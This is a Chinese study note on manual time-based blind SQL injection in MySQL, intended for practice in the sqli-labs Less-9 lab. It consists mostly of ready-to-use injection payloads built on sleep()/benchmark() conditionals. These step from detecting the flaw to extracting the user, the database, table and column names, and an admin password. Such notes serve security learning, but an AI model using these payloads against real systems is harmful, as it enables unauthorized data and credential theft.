學習筆記十五:MySQL手注之延時盲注(基於時間的盲注)
背景知識
格式:IF(Condition,A,B)
含義:如果Condition成立,則A,否則B
- substr函式
- ascii函式
延時注入
mysql>=5.0使用sleep()進行查詢
mysql<5.0使用benchmark()進行查詢
benchmark()
benchmark是通過查詢次數增多,時間變得緩慢來判斷是否存在延遲
select benchmark(1000,select * from admin);
sleep()
1.判斷是否存在延遲注入
id=1 and sleep(5)
2.判斷當前使用者
and if(ascii(substr(user(),1,1))=114,sleep(5),1)
3.判斷資料庫名長度
if(length(database())=8,sleep(5),1)
4.猜解資料庫名稱
and if(ascii(substr(database(),1,1))>100,sleep(5),1)
5.猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)
6.猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)
7.資料
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)
ps:以上實操可以在sqli-labs的Less-9中進行操作
可參考文章:
MYSQL基於時間的盲注總結 | AdminTony's Blog
Python系列之——時間盲註腳本編寫_白帽子技術/思路_i春秋社群-分享你的技術,為安全加點溫度. (ichunqiu.com)